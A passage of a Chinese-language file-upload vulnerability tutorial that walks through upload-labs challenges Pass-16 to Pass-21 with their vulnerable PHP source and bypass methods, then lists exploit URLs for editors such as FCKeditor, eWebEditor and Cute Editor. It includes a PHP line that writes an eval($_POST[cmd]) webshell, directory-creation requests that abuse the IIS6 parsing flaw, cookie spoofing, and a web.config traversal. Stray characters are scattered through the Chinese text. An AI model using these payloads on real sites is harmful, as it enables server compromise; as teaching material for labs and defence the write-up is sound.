$msg = "文件未知最蕾,上傳失斠浪荨!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上傳出錯(cuò)瘟则!";
}
}
}
方法和上面一致的
文件頭值:
jpg:FFD8FFE000104A464946
png:89504E470D0A1A0A
gif:474946383961
Pass-17 二次渲染繞過(guò)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 獲得上傳文件的基本信息黎炉,文件名,類型醋拧,大小慷嗜,臨時(shí)文件路徑
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 獲得上傳文件的擴(kuò)展名
$fileext= substr(strrchr($filename,"."),1);
//判斷文件后綴與類型淀弹,合法才進(jìn)行上傳操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上傳的圖片生成新的圖片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "該文件不是jpg格式的圖片!";
@unlink($target_path);
}else{
//給新圖片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上傳出錯(cuò)庆械!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上傳的圖片生成新的圖片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "該文件不是png格式的圖片薇溃!";
@unlink($target_path);
}else{
//給新圖片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上傳出錯(cuò)!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上傳的圖片生成新的圖片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "該文件不是gif格式的圖片干奢!";
@unlink($target_path);
}else{
//給新圖片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上傳出錯(cuò)痊焊!";
}
}else{
$msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件!";
}
}
這里判斷了后綴名忿峻,content-type,然后利用 imagecreatefromgif
判斷內(nèi)容辕羽,最后做了二次渲染逛尚,二次渲染的意思是利用你上傳的圖片生成一個(gè)新的圖片。
判斷圖片有沒(méi)有被二次渲染可以上傳圖片馬刁愿,然后下載服務(wù)器上的圖片绰寞,用16進(jìn)制編輯器打開(kāi)對(duì)比下。
GIF:二次渲染的繞過(guò)需要找到渲染前后沒(méi)有變化的位置铣口,然后將PHP代碼寫(xiě)進(jìn)去就可以了滤钱。
PNG和JPG的渲染繞過(guò)有點(diǎn)沒(méi)看懂。脑题。件缸。
詳情:https://xz.aliyun.com/t/2657
Pass-18 條件競(jìng)爭(zhēng)上傳
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允許上傳.jpg|.png|.gif類型文件!";
unlink($upload_file);
}
}else{
$msg = '上傳出錯(cuò)叔遂!';
}
}
可以看到這里是先上傳再做檢測(cè)他炊,如果檢測(cè)不再白名單里,則刪除已艰,我們可以利用這個(gè)時(shí)間差來(lái)做條件競(jìng)爭(zhēng)上傳
<?php fputs(fopen('x.php','w'),'<?php eval($_POST[cmd])?>');?>
然后不停的用Intruder發(fā)上傳包
同時(shí)不停的發(fā)請(qǐng)求包痊末,利用時(shí)間差訪問(wèn)這個(gè)上傳的php
這個(gè)shell.php便是臨時(shí)存在的php代碼,而x.php則是我們burp請(qǐng)求到shell.php生成的哩掺。具體觀察會(huì)發(fā)現(xiàn)凿叠,shell.php生成了一會(huì)就會(huì)被刪除,如果訪問(wèn)到了嚼吞,就會(huì)生成x.php盒件,這個(gè)x.php不會(huì)被刪除。
Pass-19 條件競(jìng)爭(zhēng)配合解析漏洞上傳
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已經(jīng)被上傳誊薄,但沒(méi)有重命名履恩。';
break;
case -1:
$msg = '這個(gè)文件不能上傳到服務(wù)器的臨時(shí)文件存儲(chǔ)目錄。';
break;
case -2:
$msg = '上傳失敗呢蔫,上傳目錄不可寫(xiě)切心。';
break;
case -3:
$msg = '上傳失敗飒筑,無(wú)法上傳該類型文件。';
break;
case -4:
$msg = '上傳失敗绽昏,上傳的文件過(guò)大协屡。';
break;
case -5:
$msg = '上傳失敗,服務(wù)器已經(jīng)存在相同名稱文件全谤。';
break;
case -6:
$msg = '文件無(wú)法上傳肤晓,文件不能復(fù)制到目標(biāo)目錄。';
break;
default:
$msg = '未知錯(cuò)誤认然!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
我們看看MyUpload類的源代碼
MyUpload
構(gòu)造函數(shù):
? 初始化4個(gè)值补憾,文件名,臨時(shí)文件名卷员,文件大小盈匾,重命名
isUploadedFile
函數(shù):
? is_uploaded_file函數(shù)檢測(cè)是否為http post上傳文件
setDir
函數(shù)
? 初始化上傳路勁
checkExtension
函數(shù):
? 檢測(cè)后綴(白名單檢測(cè))
checkSize
函數(shù):
? 檢測(cè)文件大小
move
函數(shù):
? 上傳臨時(shí)文件
checkFileExists
函數(shù):
? 檢測(cè)文件是否存在
renameFile
函數(shù):
? 將上傳的文件改名
再看 upload
函數(shù)經(jīng)過(guò)檢測(cè)后
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
$this->cls_upload_dir . $this->cls_filename
$this->cls_upload_dir為$status_code = $u->upload(UPLOAD_PATH);主函數(shù)設(shè)置的全局變量
define("UPLOAD_PATH", "../upload"); config.php文件里的定義
這里展示的是上傳文件名為../upload拼接文件名
這里是先上傳再改名,意思是如果能繞過(guò)上面的檢測(cè)毕骡,就能通過(guò)條件競(jìng)爭(zhēng)來(lái)上傳了削饵。
官網(wǎng)上說(shuō)的是必須利用LINUX環(huán)境。我們可以嘗試?yán)胊pache解析漏洞配合未巫。
操作和上面的一個(gè)一樣窿撬,我們這里傳的一個(gè)x.php.tiff,然后不停的發(fā)包請(qǐng)求叙凡,利用的apache解析漏洞
就能成功利用了
Pass-20 CVE-2015-2348
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上傳出錯(cuò)劈伴!';
}
}else{
$msg = '禁止保存為該類型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建狭姨!';
}
}
這里使用了 pathinfo
返回字符串再檢測(cè)宰啦,然后利用 move_uploaded_file
上傳
這個(gè)函數(shù)存在任意文件上傳的漏洞CVE-2015-2348
我們這里 $file_name
可控,就導(dǎo)致 $img_path
饼拍,就導(dǎo)致 move_uploaded_file
函數(shù)里的 $destination
可控赡模。
這里采用00截?cái)?/p>
網(wǎng)上另外的解法是 1.php/.
,因?yàn)?move_uploaded_file
上傳時(shí)會(huì)忽略 /.
Pass-21 數(shù)組繞過(guò)
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//檢查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上傳該類型文件!";
}else{
//檢查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上傳該后綴文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上傳成功师抄!";
$is_upload = true;
} else {
$msg = "文件上傳失斃旄獭!";
}
}
}
}else{
$msg = "請(qǐng)選擇要上傳的文件叨吮!";
}
我們這里分析下源碼
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type))
首先辆布,這里進(jìn)行了文件類型檢測(cè),MIME
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
這里如果$file不是數(shù)組茶鉴,則按照 .
分割成數(shù)組并小寫(xiě)(如果傳入數(shù)組則繞過(guò)這步)
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix))
取數(shù)組的最后一個(gè)來(lái)進(jìn)行白名單驗(yàn)證(如果我們直接傳入的數(shù)組最后一個(gè)是在白名單里锋玲,則繞過(guò)這步)
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path))
$file_name為數(shù)組里第一個(gè)拼接一個(gè) .
再拼接數(shù)組第長(zhǎng)度減一個(gè)再上傳
我們這里可以構(gòu)造一個(gè)數(shù)組[0] [2],[0]來(lái)構(gòu)成reset($file),[2]來(lái)繞過(guò)白名單
最后在拼接的時(shí)候埋酬,由于[1]為空所以會(huì)多出一個(gè) .
這里可以采用Winodws特性,或者move_uploaded_file
上傳時(shí)會(huì)忽略 /.
0x04 編輯器上傳漏洞
FCKeditor
查看FCKeditor版本
http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
http://127.0.0.1/FCKeditor/_whatsnew.html
測(cè)試文件
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
突破上傳
改擴(kuò)展名艇纺、%00截?cái)喽芡搿⑻砑游募^等
二次上傳繞過(guò)FCK在上傳了諸如shell.asp;.jpg的文件后媚污,會(huì)自動(dòng)將文件名改為shell_asp;.jpg⊥⒀牛可以繼續(xù)上傳同名文件耗美,文件名會(huì)變?yōu)閟hell.asp;(1).jpg
提交shell.php+空格繞過(guò)(windows特性)
IIS6.0突破文件夾限制
Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
文件解析限制
通過(guò)FCKeditor編輯器在文件上傳頁(yè)面中,創(chuàng)建1.asp文件夾航缀,然后再到該文件夾下上傳圖片商架,配合iis6.0解析漏洞
http://www.xxx.com/images/upload/201806/image/1.asp/1.jpg
Ewebeditor
進(jìn)入后臺(tái)
弱口令
下載默認(rèn)數(shù)據(jù)庫(kù) ewebeditor/db/ewebeditor.mdb
burp爆破
利用注入點(diǎn)
然后添加樣式,添加按鈕芥玉,使用IE瀏覽器(不可以上傳的話打開(kāi)兼容性視圖設(shè)置)上傳
CKFinder
其1.4.3 asp.net版本存在任意文件上傳漏洞
Kindeditor
<= 4.10 存在文件上傳漏洞
只能上傳 html, htm 釣魚(yú)
南方數(shù)據(jù)編輯器southidceditor
登陸后臺(tái)甸私,利用編輯器上傳,訪問(wèn)admin/southidceditor/admin_style.asp飞傀,修改編輯器央視,增加asa诬烹,然后后臺(tái)上傳
UEditor
利用iis6.0解析漏洞
DotNetTextBox
關(guān)鍵字:system_dntb/
確定有system_dntb/uploadimg.aspx并能打開(kāi)砸烦,這時(shí)候是不能上傳的,由于他是驗(yàn)證cookie來(lái)得出上傳后的路徑绞吁,這樣我們可以用cookie欺騙工具
cookie:UserType=0;IsEdition=0;Info=1;
uploadFolder=../system_dntb/Upload/;
路徑可以修改幢痘,只要權(quán)限夠,上傳后改名為1.asp;.jpg利用iis解析漏洞
PHPWEB網(wǎng)站管理系統(tǒng)后臺(tái)Keditor
1家破、IIS6.0文件名解析漏洞
2颜说、%00截?cái)?/p>
Cute Editor在線編輯器本地包含漏洞
影響版本:
Cute Editor For Net 6.4
http://www.xx.com/Cute_Client?CuteEditor/Load.ashx?type=image&file=../../../web.config
總結(jié):編輯器漏洞說(shuō)到底還是采用各種上傳姿勢(shì)來(lái)進(jìn)行利用的